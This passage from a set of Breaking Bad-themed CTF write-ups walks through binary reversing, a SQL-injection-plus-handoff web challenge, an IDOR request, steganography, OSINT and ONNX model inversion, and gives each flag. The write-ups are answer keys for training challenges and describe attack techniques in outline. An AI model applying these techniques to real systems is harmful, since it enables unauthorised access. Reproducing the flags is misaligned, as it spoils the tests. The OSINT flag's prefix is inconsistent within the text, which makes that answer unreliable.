d = (shipmentID - 12)^2 + (batchNumber - 45)^2
This is the first important mathematical observation.
4. Reverse the Second Stage
Follow the value returned from the first function.
The next function performs:
1
z = (7 * d^2 + 13 * d + 97) % 10007
So the pipeline is now:
1
2
3
4
5
6
7
Shipment ID + Batch Number
|
v
d
|
v
z
5. Reverse the Third Stage
The next function performs:
1
k = (z^3 + 17*z^2 + 43*z + 7) % 65537
It then performs an XOR operation:
1
result = k XOR 0x5A17
Therefore the complete transformation is:
1
2
3
4
5
6
7
8
9
10
d
|
v
z = (7*d^2 + 13*d + 97) % 10007
|
v
k = (z^3 + 17*z^2 + 43*z + 7) % 65537
|
v
result = k XOR 0x5A17
6. Find the Target Value
Return to main() and inspect the comparison:
1
if (result == target)
Follow the function responsible for generating target.
Instead of storing the target directly, the binary constructs it from several constants.
After simplifying the operations, the target calculation becomes:
1
2
3
x = 0x91C3 XOR 0x4A27
x = x + 0x1234
target = x XOR 0x1B58
Calculate the first operation:
1
0x91C3 XOR 0x4A27 = 0xDBE4
Then:
1
0xDBE4 + 0x1234 = 0xEE18
Finally:
1
0xEE18 XOR 0x1B58 = 0xF540
Therefore:
1
Target = 0xF540
The mathematical pipeline must produce 0xF540.
7. Solve for the Inputs
We now have the important equation:
1
d = (shipmentID - 12)^2 + (batchNumber - 45)^2
The intended solution is:
1
2
shipmentID = 67
batchNumber = 40
Substitute these values:
1
d = (67 - 12)^2 + (40 - 45)^2
1
d = 55^2 + (-5)^2
1
d = 3025 + 25
Therefore:
1
d = 3050
Now calculate the next stage:
1
z = (7 * 3050^2 + 13 * 3050 + 97) % 10007
This gives:
1
z = 1670
Next:
1
k = (1670^3 + 17 * 1670^2 + 43 * 1670 + 7) % 65537
giving:
1
k = 44887
Finally:
1
44887 XOR 0x5A17 = 0xF540
This matches the target recovered from the binary.
Therefore:
1
2
Shipment ID = 67
Batch Number = 40
8. Follow the Successful Branch
Now inspect what happens when:
1
result == target
is true.
The program calls another function which contains an array of seemingly random bytes.
There is no readable flag stored in the array.
This is the final stage of the challenge.
9. Reverse the Flag Key
Inside the flag-processing function, look at how the decryption key is generated.
The relevant logic is equivalent to:
1
key = (d & 255) XOR (z >> 4) XOR (result >> 8) XOR 0xA7
For the correct values:
1
2
3
d = 3050
z = 1670
result = 0xF540
Calculate:
1
3050 & 255 = 0xEA
1
1670 >> 4 = 0x68
1
0xF540 >> 8 = 0xF5
Therefore:
1
key = 0xEA XOR 0x68 XOR 0xF5 XOR 0xA7
which gives:
1
key = 0xD0
10. Decrypt the Flag
The program XORs every byte in the encrypted array with 0xD0.
Conceptually:
1
2
for each byte:
plaintext = encrypted_byte XOR 0xD0;
Doing this reveals:
1
CYS{you_godamn_wright!}
The plaintext flag is therefore never stored directly in the executable.
11. Verify the Solution
Run the executable and enter:
1
2
Enter shipment ID: 67
Enter batch number: 40
The program reaches the successful branch and decrypts the embedded message.
Final flag:
1
CYS{you_godamn_wright!}
12. Ghidra Workflow Summary
The intended solving process is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
Import EXE
|
v
Run Ghidra analysis
|
v
Open main()
|
v
Trace Shipment ID + Batch Number
|
v
Follow the mathematical functions
|
v
Recognize the disguised distance calculation
|
v
Recover d -> z -> k -> result
|
v
Find target reconstruction
|
v
Recover target = 0xF540
|
v
Solve for Shipment ID = 67
Batch Number = 40
|
v
Follow successful branch
|
v
Find encrypted byte array
|
v
Reverse key generation
|
v
Recover key = 0xD0
|
v
XOR encrypted bytes
|
v
CYS{you_godamn_wright!}
Final Solution
Shipment ID: 67
Batch Number: 40
Flag:
1
CYS{you_godamn_wright!}
Flag
CYS{you_godamn_wright!} Los Pollos Employee Vault
Los Pollos Employee Vault
Author: Vitul
This is a web-based CTF challenge demonstrating a SQL injection vulnerability chained with an insecure privilege-handoff mechanism.
For the SQLi part:
The only injectable endpoint is the legacy directory search, /employees?q=. Every other query in the application is parameterized, so this is the sole entry point.
We craft a six-column UNION-based SQL injection against /employees?q= to enumerate the users table. Note that SQLite executes only a single statement per query, so stacked write statements are not possible here — the injection is read-only.
Using this, we’re able to dump the employee directory and identify that Gustavo Fring holds the role of manager.
For the privilege-handoff part:
Knowing Gustavo is a manager isn’t enough on its own — the runtime flag isn’t revealed by the SQLi alone. We follow the intended chain:
Directory SQLi → Gus is manager → Audit: Vault-03 → Production: Batch 753 → Gustavo’s verified handoff → Vault-03 session grant → /vault
We review the Audit section, where Vault-03 is referenced, then check Production and locate Batch 753. Combining the directory-reconciled manager evidence (Gustavo) with the Audit and Production review completed in the current session lets us trigger Gustavo’s verified handoff.
The server cross-checks this against the matching database records, then grants a Vault-03 session — this does not upgrade our role to manager, it simply grants scoped access to Vault-03.
With this session grant, we can access /vault, which accepts either a real manager account or a valid Vault-03 session grant, and the flag is rendered at runtime once vault authorization succeeds.
The vulnerability is a combination of SQL injection (unparameterized query on /employees?q=) and an overly trusting server-side delegation mechanism that grants vault access based on reconciled evidence rather than a properly scoped, short-lived credential.
Remediation: Parameterize the directory search endpoint, suppress verbose database errors, and remove the legacy handoff mechanism entirely. Where delegation between roles is genuinely required, it should be implemented server-side, short-lived, and narrowly scoped to the specific resource.
Flag
CYS{Dynamic} Los Stegos Hermanos
Los Stegos Hermanos
Author: Utkarsh Raj
Description
A set of images and an audio file were provided. At first, most of them looked like normal media files, but each one contained a small clue pointing towards another file.
There were also a couple of decoy paths with fake flags, so blindly extracting everything was not enough.
The final flag was:
CYS{W@1t3r_w0ul0_ch3ck_8he_8u@nt1$@t10n_t@813}
Initial Enumeration
Start by identifying the supplied files:
file *
This showed:
01.jpeg— JPEG02.png— PNG03.jpg— JPEG04.jpeg— JPEG05.png— palette-based PNGaudio.wav— WAV audio
05.png immediately stood out because it used an 8-bit colour palette.
1. Palette Manipulation — 05.png
Check the PNG:
identify -verbose 05.png | grep -E "Type:|Colors:|Depth:"
It showed:
Type: Palette
Depth: 8-bit
Instead of only looking at the colours themselves, inspect consecutive palette entries and look for repeated runs.
A small Python script was used to compare neighbouring palette entries.
The interesting result was:
17 33 17
meaning palette entries 17 through 33 all contained the same RGB value.
There was another shorter repeated run at 240–242, which acted as a distraction.
The unusual run length gives the first clue:
17
2. Histogram — 03.jpg
The value 17 was used as a ranking rather than as a pixel value.
Convert the image to grayscale and count the frequency of every grayscale value:
`python3 - «‘PY’ from PIL import Image from collections import Counter
img = Image.open(“03.jpg”).convert(“L”) h = Counter(img.getdata())
for rank, (value, count) in enumerate( sorted(h.items(), key=lambda x: x[1], reverse=True), 1 ): if rank <= 25: print(rank, value, count) PY`
The 17th most frequent value was:
17 22 18330
So the next clue was:
22
3. Image Dimensions — 02.png
The next image was 02.png.
Check its dimensions:
identify 02.png
It was:
1000 x 664
Use the previous clue as the modulus:
1000 % 22 = 10
664 % 22 = 4
This gives the coordinate:
(10,4)
4. Pixel as ASCII — 02.png
Read the RGB value at that coordinate:
`python3 - «‘PY’ from PIL import Image
img = Image.open(“02.png”).convert(“RGB”) p = img.getpixel((10,4))
print(“RGB:”, p) print(“ASCII:”, ““.join(chr(x) for x in p)) PY`
The result was:
RGB: (83, 84, 65)
Those values correspond to ASCII:
83 = S
84 = T
65 = A
giving:
STA
This was the beginning of the next instruction, pointing towards the START / QTABLE stage.
5. JPEG Quantization Table — 04.jpeg
The next target was 04.jpeg.
JPEG quantization tables can be inspected directly with Pillow:
`python3 - «‘PY’ from PIL import Image
img = Image.open(“04.jpeg”)
for table, values in img.quantization.items(): print(“TABLE”, table) print(“POSITION 29:”, values[29]) PY`
The relevant table was table 0.
At position 29:
QTABLE[29] = 37
So the next clue was:
37
6. Audio / Spectrogram
There was also an audio file:
audio.wav
Playing it normally did not reveal a useful spoken message. The useful information was hidden in its spectrogram.
Opening the WAV in Audacity and switching the track to Spectrogram view revealed:
HEY YO! NEW COMPETITION
and:
QTABLE 29
This acted as a confirmation for the quantization-table stage rather than being a separate route to the flag.
7. Palette Index 37
Return to 05.png and inspect palette index 37.
The important observation is that the previous clue, 37, is specifically a palette index.
The PNG also contained a custom ancillary chunk holding the final encrypted payload.
A small textual clue was included in the PNG:
Palette37=CHUNK
This tells the solver that the palette result should lead to inspection of the PNG chunks.
The custom chunk was named:
cYSd
It contained 46 encrypted bytes.
8. Recovering the Payload
The payload was XOR encrypted with the key:
1722362937
The encrypted bytes from the custom PNG chunk were XORed against this key repeatedly.
Conceptually:
plaintext[i] = ciphertext[i] XOR key[i % len(key)]
This produced the final flag.
Decoy Paths
There were also deliberate false leads.
01.jpeg
file 01.jpeg
revealed a JPEG comment containing:
CYS{m3t4d4t4_l13s}
This was a fake flag.
It was useful as an early distraction, but it did not connect to the other clues.
03.jpg
binwalk 03.jpg
revealed an embedded ZIP archive.
Extracting it produced another fake flag:
CYS{c0mpr3ss10n_1s_n0t_th3_4nsw3r}
This was another dead end.
The presence of real embedded data made the decoy more convincing, but it did not contribute to the actual chain.
Final Flag
After following the connected clues:
05.png → 17
03.jpg histogram → 22
02.png dimensions → (10,4)
02.png pixel → STA
04.jpeg QTABLE[29] → 37
05.png palette 37 → custom PNG chunk
XOR key → 1722362937
the final flag is:
CYS{W@1t3r_w0ul0_ch3ck_8he_8u@nt1$@t10n_t@813}
Flag
CYS{W@1t3r_w0ul0_ch3ck_8he_8u@nt1$@t10n_t@813} OffRecord
OffRecord
Author: Sagnik
This challenge is a combination of image steganography, QR extraction, metadata clues, Breaking Bad trivia, Base64, and XOR.
The intended solve path is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PNG
↓
EXIF metadata
↓
Blue-channel LSB
↓
Hidden QR
↓
Base64 ciphertext
↓
Breaking Bad trivia
↓
XOR
↓
FLAG
Firstly, inspect the image metadata
We can use:
1
exiftool challenge.png
The relevant metadata contains:
1
2
3
Image Description : The model is written continuously.
Artist : Walter H.
User Comment : Some reactions are exclusive.
The two important clues are:
1
2
The model is written continuously.
Some reactions are exclusive.
The first clue tells us how the eventual key should be formatted.
The second clue hints at the cryptographic operation.
Inspect the image for steganography
Since the challenge involves image steganography, we can inspect the PNG bit planes.
For example:
1
zsteg challenge.png
The hidden QR is stored in the:
1
2
Blue channel
Bit 0 (LSB)
The QR is not directly visible in the original image.
The relevant pixels can be extracted by taking:
1
bit = blue_channel_pixel & 1
and reconstructing the corresponding region as a black-and-white image.
The resulting image contains the hidden QR code.
Decode the QR code
After extracting the QR region, decode it using a QR decoder.
The QR contains:
1
CxYcLQcXHhUHFA0VHggXDQ8EBBAGAB8aGQEQBgodGngETQ==
This looks like Base64.
Decode it:
1
echo 'CxYcLQcXHhUHFA0VHggXDQ8EBBAGAB8aGQEQBgodGngETQ==' | base64 -d
The result is binary data rather than readable text.
This means Base64 is only an encoding layer and there is still another operation to reverse.
Solve the Breaking Bad clue
The visible image contains the question:
Which vacuum cleaner’s dust filter do I need to disappear?
This references the vacuum cleaner/disappearance service from Breaking Bad and Better Call Saul.
The relevant model is:
1
Hoover Max Extract Pressure Pro, Model 60
The EXIF clue says:
1
The model is written continuously.
Therefore remove spaces and punctuation and use one continuous uppercase string:
1
HOOVERMAXEXTRACTPRESSUREPROMODEL60
This is the key.
Identify XOR
The second EXIF clue says:
1
Some reactions are exclusive.
The word “exclusive” points toward:
1
XOR = Exclusive OR
The encryption process is:
1
2
3
4
5
6
7
FLAG
↓
XOR with key
↓
Base64
↓
QR
So we reverse it:
1
2
3
4
5
6
7
8
9
QR
↓
Base64
↓
Base64 decode
↓
XOR with key
↓
FLAG
Decrypt the ciphertext
The ciphertext is:
1
CxYcLQcXHhUHFA0VHggXDQ8EBBAGAB8aGQEQBgodGngETQ==
The key is:
1
HOOVERMAXEXTRACTPRESSUREPROMODEL60
After Base64 decoding and XORing the resulting bytes with the key, the plaintext is:
1
CYS{BEST_QUALITY_VACUUM_IS_KEY_42}
Complete solve chain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
challenge.png
|
+------------+------------+
| |
v v
EXIF data Image data
| |
+--------+--------+ |
| | v
v v Blue-channel LSB
"written continuously" "exclusive" |
| | v
| | Hidden QR
| | |
| | v
| | Base64 text
| | |
+--------+--------+----------------+
|
v
Hoover Max Extract Pressure
Pro Model 60
|
v
HOOVERMAXEXTRACTPRESSUREPROMODEL60
|
v
XOR decrypt
|
v
FLAG
Final Flag
1
CYS{BEST_QUALITY_VACUUM_IS_KEY_42}
Flag
CYS{BEST_QUALITY_VACUUM_IS_KEY_42} Project Mirage
Project Mirage
Author: Shubh
This is a standalone web-based CTF challenge demonstrating a Broken Object Level Authorization (BOLA / IDOR) vulnerability.
The application, DeployBox, simulates a deployment dashboard where logged-in users can view details about their own workspace’s deployments.
First, we access the login page
The application provides a login form. Use the credentials provided with the challenge:
Username: Shubh
Password: greatguy
After logging in, we land on the Dashboard.
Finding the vulnerable API
On the Dashboard, we click “View deployment” on one of our own deployments. Opening DevTools -> Network while doing this reveals the request the frontend makes to fetch deployment details:
GET /api/v1/deployments/dep_xxxxxx
This confirms the app fetches deployment data client-side by ID, via a REST-style endpoint.
Finding another workspace’s deployment ID
Next, we go to the Activity page. This page lists recent deployment activity, including deployment IDs — and on inspection, not all of these IDs belong to our own workspace. One (or more) of them belongs to a different workspace entirely.
We take note of this “foreign” deployment ID, for example:
dep_63d0c9
Exploiting the IDOR
We now substitute this foreign ID directly into the API endpoint discovered earlier:
GET /api/v1/deployments/dep_63d0c9
The server does not verify that the requesting user’s workspace owns the requested deployment ID — it simply looks up the deployment by ID and returns its data, regardless of ownership.
The response includes full deployment details belonging to another workspace, including a release_note field containing the flag.
Root cause
The vulnerability is a Broken Object Level Authorization (BOLA), a specific case of IDOR. The application exposes an internal, enumerable/guessable object identifier (the deployment ID) and trusts the client to only ever request IDs it’s authorized to see:
/api/v1/deployments/
The server retrieves whatever deployment matches the given ID without checking that it belongs to the authenticated user’s workspace.
Note: Deployment IDs (and therefore the flag) are randomly generated per challenge instance/restart, so the exact ID and flag value will differ across runs — only the CTF{…} format is fixed.
Summary
Login -> find deployment-fetching API via Network tab -> find a foreign deployment ID via Activity page -> request it via the API -> flag is returned in release_note.
Flag
CYS{Dynamic} Project To'hajiilee
Project To’hajiilee
Author: Joeliyn
This is a steganography-based CTF challenge demonstrating Least Significant Bit (LSB) steganography.
The challenge provides a PNG image with a secret message hidden inside the least significant bits of the Red channel. Since modifying the LSB of a pixel channel changes its value by at most 1, the modification is not noticeable to the human eye.
Firstly, we can inspect the metadata of the provided image using:
exiftool challenge_1.png
The comment in the metadata gives us a useful hint:
LSB secret hidden in Red channel (RGB -> R_LSB). Reads top-left to bottom-right until null byte.
This tells us that the secret is hidden in the LSBs of the Red channel.
Instead of manually extracting the LSBs, we can use zsteg, a tool commonly used for detecting hidden data in PNG and BMP images.
We run:
zsteg challenge_1.png
The output reveals hidden data in the Red channel LSB plane. We can then extract the data using:
zsteg -E b1,r challenge_1.png
Here, b1 refers to the least significant bit plane and r specifies the Red channel.
The extracted data gives us the flag:
CYS{34_59_20_106_36_52_custom_l5b_3ncrypt10n_m4ster}
The challenge demonstrates how information can be hidden inside image pixels using LSB steganography. Since only the least significant bit of the Red channel is modified, the resulting image looks practically identical to the original while still containing the hidden message.
Flag
CYS{34_59_20_106_36_52_custom_l5b_3ncrypt10n_m4ster} Residual
Residual
Author: Manasa
This is a Breaking Bad-themed reverse-engineering CTF challenge involving a stripped Linux ELF binary, encoded runtime checks, a fake flag, self-inspection through /proc/self/exe, a custom .x9 section, and a reversible byte transformation.
The goal is to satisfy the binary’s filename, environment-variable, and command-line checks, analyze the generated dead drop, and recover the real flag.
1. What We Receive
The challenge gives us one executable:
1
memory
The flag format is:
1
CYS{...}
The challenge story tells us that the binary came from an abandoned lab and that previous analysts recovered conflicting answers. That is our first warning: the first flag we see may be a bad batch.
2. Identify the File
Start with the normal first command for an unknown binary:
1
file memory
We should see something similar to:
1
memory: ELF 64-bit LSB pie executable, x86-64, dynamically linked, stripped
This tells us that it is a 64-bit Linux ELF and that symbols have been stripped. In Ghidra, many functions will therefore appear with generic names such as FUN_... rather than useful original names.
If the executable bit was lost during download:
1
chmod +x memory
3. Run It Normally
Execute:
1
./memory
We get:
1
2
3
The cook enters the lab...
Alias accepted.
The blue formula is missing a signal.
There are already two useful clues here.
Alias accepted. suggests that the program checks the name it is running under, while missing a signal suggests another external condition is required.
4. Check Printable Strings
Run:
1
strings memory | less
Search specifically for flag-shaped strings:
1
strings memory | grep 'CYS{'
We find:
1
CYS{crystal_blue_is_too_obvious}
This is intentionally tempting, but it is a fake flag. The wording itself is a hint that an obvious blue crystal is not necessarily a clean batch.
Submitting it fails, so we need to reverse the executable rather than trust strings.
We can also check for obvious secrets:
1
2
3
strings memory | grep SIGNAL
strings memory | grep MIRROR
strings memory | grep -- '--listen'
The important values are not stored directly in plaintext.
5. Open the Binary in Ghidra
Start Ghidra:
1
ghidra
Then create a non-shared project and import memory:
1
File → Import File → memory
Accept the detected ELF format, open the program, click Yes when Ghidra asks to analyze it, and keep the default analyzers enabled.
Because the file is stripped, focus on what functions do, not their names.
6. Start From main
Locate main and inspect the decompiled control flow.
Conceptually it performs several checks:
1
2
3
4
5
6
7
8
9
print lab message
↓
check executable identity
↓
check environment
↓
check command-line argument
↓
produce dead drop
Work through those checks one at a time.
7. Recover the Expected Filename
The first validation routine uses argv[0], which normally contains the path/name used to launch the program.
Inside that routine, an encoded byte array is transformed and compared against the basename of argv[0] using strcmp().
Reversing the small transformation gives:
1
memory
The supplied challenge file already has that name, which explains:
1
Alias accepted.
We can prove the check exists:
1
2
3
cp memory test
chmod +x test
./test
Now the program says:
1
2
The cook enters the lab...
This alias does not belong in the lab.
Remove the copy:
1
rm test
8. Investigate the Missing Signal
The next failed message is:
1
The blue formula is missing a signal.
In Ghidra, follow the next validation function. It eventually calls:
1
getenv()
That tells us the program expects an environment variable.
The variable name is reconstructed from encoded bytes. Reversing that decoder gives:
1
SIGNAL
The returned value is compared against another reconstructed string:
1
MIRROR
Therefore the required environment is:
1
SIGNAL=MIRROR
Test it without permanently exporting anything:
1
SIGNAL=MIRROR ./memory
Now we get:
1
2
3
4
The cook enters the lab...
Alias accepted.
Signal locked. The batch is getting cleaner.
You are not listening to the lab carefully enough.
So the environment check is solved.
9. Recover the Required Argument
Continue through main in Ghidra.
The next check operates on argv[1]. Another encoded array is transformed and compared against the argument.
Reversing the transformation gives:
1
--listen
So the intended execution is:
1
SIGNAL=MIRROR ./memory --listen
Run it:
1
2
3
4
5
The cook enters the lab...
Alias accepted.
Signal locked. The batch is getting cleaner.
Cook complete. Package the evidence.
Dead drop: b37a61397fc78d045c6a702fb50ddc0b029817065e948361683f165d
We have reached the correct execution path, but the dead drop is hexadecimal data rather than the flag.
10. Find the Dead-Drop Function in Ghidra
Search Ghidra for the string:
1
Dead drop:
Use either the Defined Strings window or:
1
Search → For Strings
Find Dead drop: and follow its XREF. An XREF tells us which function references that string.
That function builds several internal fragments, combines them, passes the result through a final byte transformation, and prints each transformed byte as two hexadecimal digits.
This is the function we need to understand.
11. Recover the First Flag Fragment
One small function contains these bytes:
1
52 4b 40 6f
The decompiled loop is equivalent to:
1
out[i] = data[i] ^ (0x11 + i);
Decode them:
1
2
3
4
0x52 XOR 0x11 = 0x43 = C
0x4b XOR 0x12 = 0x59 = Y
0x40 XOR 0x13 = 0x53 = S
0x6f XOR 0x14 = 0x7b = {
So fragment 1 is:
1
CYS{
That confirms we have found the real flag reconstruction path.
12. Recover the Second Fragment
Another function contains:
1
6b 64 69 78 6d 85 7c 7c 79 8c 8e
The transformation is:
1
out[i] = data[i] - ((i * 3) + 2);
Instead of doing all 11 bytes manually, reproduce it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat > part2.py <<'PY'
data = [
0x6b, 0x64, 0x69, 0x78, 0x6d, 0x85,
0x7c, 0x7c, 0x79, 0x8c, 0x8e
]
result = []
for i, value in enumerate(data):
result.append(value - ((i * 3) + 2))
print(bytes(result).decode())
PY
python3 part2.py
Output:
1
i_am_the_on
So far:
1
CYS{i_am_the_on
13. Notice That the Third Fragment Depends on Something Else
The third fragment function contains:
1
45 7e 51 4f 4b 7f 4a 48 48 47 4b 52 5b
But unlike the first two fragments, its key depends on the return value of another function.
Follow that function.
You will encounter imports such as:
1
2
3
4
readlink
fopen
fread
fseek
The program is reading a file and parsing data from it.
14. Discover That the Binary Reads Itself
The path passed to readlink() is itself reconstructed from encoded bytes.
Decoding it gives:
1
/proc/self/exe
On Linux, /proc/self/exe points to the currently running executable.
So the cook is literally inspecting its own recipe.
The program opens its own ELF file and begins parsing ELF structures.
15. Find the Custom ELF Section
The self-reading routine reads:
1
2
3
ELF header
section headers
section-name string table
It reconstructs another short string and searches the section table for it.
That section name is:
1
.x9
Confirm it from the terminal:
1
readelf -S memory | grep '\.x9'
Then dump the section:
1
readelf -x .x9 memory
The important 32 bytes are:
1
2
3
4
91 2f c4 77 18 a3 5d e1
42 9b 06 d8 31 af 64 be
73 0c f1 55 28 99 b2 47
da 11 6e 83 3c f7 20 51
They are not text. They are input to a custom rolling mixer.
16. Reproduce the .x9 Mixer
The relevant decompiled function behaves like:
1
2
3
state = 0;
for each byte:
state = (state * 33) ^ byte;
The state is one byte, so keep only the low 8 bits.
Create:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cat > x9.py <<'PY'
data = [
0x91, 0x2f, 0xc4, 0x77, 0x18, 0xa3, 0x5d, 0xe1,
0x42, 0x9b, 0x06, 0xd8, 0x31, 0xaf, 0x64, 0xbe,
0x73, 0x0c, 0xf1, 0x55, 0x28, 0x99, 0xb2, 0x47,
0xda, 0x11, 0x6e, 0x83, 0x3c, 0xf7, 0x20, 0x51
]
state = 0
for value in data:
state = ((state * 33) ^ value) & 0xff
print("self key =", hex(state))
print("low nibble =", hex(state & 0x0f))
PY
python3 x9.py
Output:
1
2
self key = 0xaa
low nibble = 0xa
Therefore:
1
2
self_key = 0xAA
derived = 0x0A
17. Decode the Third Fragment
The decoder uses:
1
key = (0x2A + (i % 5)) XOR derived
with:
1
derived = 0x0A
Create:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cat > part3.py <<'PY'
data = [
0x45, 0x7e, 0x51, 0x4f, 0x4b, 0x7f, 0x4a,
0x48, 0x48, 0x47, 0x4b, 0x52, 0x5b
]
derived = 0x0a
base = 0x2a
result = []
for i, value in enumerate(data):
key = (base + (i % 5)) ^ derived
result.append(value ^ key)
print(bytes(result).decode())
PY
python3 part3.py
Output:
1
e_who_knocks}
The internal message therefore becomes:
1
CYS{i_am_the_one_who_knocks}
But the program does not print this plaintext. It passes it through one more transformation before producing the dead drop.
18. Understand the Final Transformation
The final routine uses the .x9 key again:
1
self_key = 0xAA
The seed is:
1
seed = ((self_key XOR 0x63) + 7) & 0xFF
Calculate it:
1
2
3
4
5
python3 - <<'PY'
self_key = 0xaa
seed = ((self_key ^ 0x63) + 7) & 0xff
print(hex(seed))
PY
Output:
1
0xd0
For each plaintext byte at index i, the binary then performs:
1
2
3
1. XOR with seed + (i * 5)
2. rotate left by 3 bits
3. add (i XOR 0x17)
Encoding direction:
1
plaintext → XOR → ROL 3 → addition → dead-drop byte
To recover the plaintext, reverse the order:
1
dead-drop byte → subtraction → ROR 3 → XOR → plaintext
19. Write the Final Solver
Use the dead drop printed by the program:
1
b37a61397fc78d045c6a702fb50ddc0b029817065e948361683f165d
Create:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
cat > solve.py <<'PY'
transmission = "b37a61397fc78d045c6a702fb50ddc0b029817065e948361683f165d"
data = bytes.fromhex(transmission)
self_key = 0xaa
seed = ((self_key ^ 0x63) + 7) & 0xff
def ror8(value, bits):
return ((value >> bits) | (value << (8 - bits))) & 0xff
result = []
for i, value in enumerate(data):
value = (value - (i ^ 0x17)) & 0xff
value = ror8(value, 3)
value ^= (seed + (i * 5)) & 0xff
result.append(value)
print(bytes(result).decode())
PY
python3 solve.py
Output:
1
CYS{i_am_the_one_who_knocks}
Final Flag
1
CYS{i_am_the_one_who_knocks}
Full Intended Solve Flow
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
memory
↓
file / strings
↓
CYS{crystal_blue_is_too_obvious} ← fake batch
↓
Ghidra
↓
argv[0] → memory
↓
getenv() → SIGNAL=MIRROR
↓
argv[1] → --listen
↓
SIGNAL=MIRROR ./memory --listen
↓
Dead drop: b37a...
↓
follow Dead drop XREF
↓
self-reading through /proc/self/exe
↓
ELF section .x9
↓
rolling mixer → 0xAA
↓
reverse final byte transformation
↓
CYS{i_am_the_one_who_knocks}
The challenge is designed so both static and dynamic approaches are valid. A strong reverser can reproduce every deterministic value without relying on hidden server-side secrets.
Flag
CYS{i_am_the_one_who_knocks} Reverse Image Trail — Episode 3
Reverse Image Trail — Episode 3
Author: Yukti Kapoor
This is an OSINT/Web-based CTF challenge where participants must identify the real-world restaurant shown in a cropped photograph, distinguish it from its fictional representation in Breaking Bad and Better Call Saul, and use the correct real-world name to unlock the flag.
The Misdirection:
Participants are given a cropped photo of a fast-food storefront in Albuquerque, New Mexico. The storefront is presented as “Los Pollos Hermanos”, Gustavo Fring’s fictional fried-chicken chain and money-laundering front in Breaking Bad and Better Call Saul.
However, the real restaurant operating at the location is called Twisters Burgers & Burritos.
The restaurant at 4257 Isleta Blvd SW, Albuquerque is actually Twisters Burgers & Burritos, a New Mexican-cuisine chain founded in 1998. It serves burgers, burritos, and green chile rather than fried chicken.
The “Los Pollos Hermanos” name, logo, and chicken menu exist only within the show’s fiction.
Step 1 — Identify the clue:
We begin with the provided handout image:
handout/clue_03.jpg
We can perform a reverse image search using tools such as Google Lens or TinEye.
Step 2 — Spot the mismatch:
The search results surface both “Los Pollos Hermanos” fan content and genuine news/travel coverage identifying the real business as Twisters.
This is the key part of the challenge: the first identification should not be trusted blindly.
The correct answer is the real name of the restaurant, rather than the fictional name used in the shows.
The same real-world location was reused as Los Pollos Hermanos across Breaking Bad and Better Call Saul, with an appearance in the film El Camino as well.
Step 3 — Unlock the archive:
We visit the hosted archive page and submit the normalized answer:
twisters
The answer is normalized by converting it to lowercase and removing non-alphanumeric characters.
Step 4 — Flag delivery:
Once the correct answer is submitted, the client-side JavaScript decodes a Base64-encoded string and displays the flag.
The relevant logic is:
function normalize(s) { return s.toLowerCase().replace(/[^a-z0-9]/g, “”); }
function checkAnswer() { var userAnswer = normalize(document.getElementById(“answerBox”).value); var correct = “twisters”;
if (userAnswer === correct) { var encoded = “Q1RGe3R3MXN0M3JzX24wdF9wMGxsMHN9”; document.getElementById(“flagOutput”).innerHTML = “Record unlocked. Flag: “ + atob(encoded); } }
The Base64-encoded value:
Q1RGe3R3MXN0M3JzX24wdF9wMGxsMHN9
decodes to:
CYS{tw1st3rs_n0t_p0ll0s}
The organizer-side build process is handled by backend_generator.py. It strips metadata from the source photo, Base64-encodes the flag, and injects the required values into index_template.html to generate index.html.
Learning Outcome:
This challenge demonstrates the importance of verifying an identification rather than trusting the first confident-looking search result or fan-page label.
It also teaches participants to:
- Distinguish fictional, in-universe branding from the real business operating at a physical location.
- Practice reverse-image-search-based OSINT.
- Understand a simple client-side flag-gating mechanism using encoding.
- Recognize the limitations of client-side flag protection.
- Build a research chain using multiple independent sources instead of relying on a single result.
Final flag:
CYS{tw1st3rs_n0t_p0ll0s}
Flag
CTF{tw1st3rs_n0t_p0ll0s} Say My Name
Say My Name
Author: KuantumKnight
The challenge provides an ONNX model as the main artifact. The flag is not directly present in the model; instead, it is encoded as an input that produces a specific output through an auxiliary branch of the neural network.
Firstly, we inspect the structure of the ONNX model.
The graph contains a shared Gemm -> Tanh feature extractor and a normal four-class classification head. There is also an additional fifth logit calculated using a distance from a hidden target representation.
The relevant computation can be represented as:
1
2
3
4
5
h(x) = tanh(Ax + b)
d(x) = ||h(x) - target||²
score_4(x) = 18 - 2500*d(x)
The useful tensors are stored in the model initializers:
1
2
3
fc1.weight → 48×32 matrix A
fc1.bias → bias vector b
buffer_0 → hidden target representation
The player input is normalized as:
1
x = raw / 255
Since the matrix A has full column rank, we can invert the Tanh operation using arctanh and solve the resulting linear system using least squares.
Starting from:
1
target = tanh(Ax + b)
we apply arctanh:
1
arctanh(target) = Ax + b
Therefore:
1
x = lstsq(A, arctanh(target) - b)
After recovering the normalized input, we convert it back into the original byte values:
1
raw = rint(x * 255).astype(uint8)
The following Python script performs the complete inversion:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3
from pathlib import Path
import numpy as np
import onnx
from onnx import numpy_helper
ROOT = Path(__file__).resolve().parents[2]
MODEL = ROOT / "player" / "heisenberg.onnx"
def main() -> None:
model = onnx.load(MODEL)
tensors = {
item.name: numpy_helper.to_array(item)
for item in model.graph.initializer
}
matrix = tensors["fc1.weight"].astype(np.float64)
bias = tensors["fc1.bias"].astype(np.float64)
target = tensors["buffer_0"].astype(np.float64)
normalized = np.linalg.lstsq(
matrix,
np.arctanh(target) - bias,
rcond=None,
)[0]
raw = np.rint(normalized * 255).astype(np.uint8)
print(bytes(raw).decode("ascii"))
if __name__ == "__main__":
main()
Running the script recovers the flag:
1
CYS{Y0UR3_G0DD4MN_R1GHT_ABQKQF!}
An alternative approach is to perform gradient ascent on the fifth logit, since maximizing the fifth score minimizes the distance between the generated representation and the hidden target.
The intended solve is therefore:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ONNX model
↓
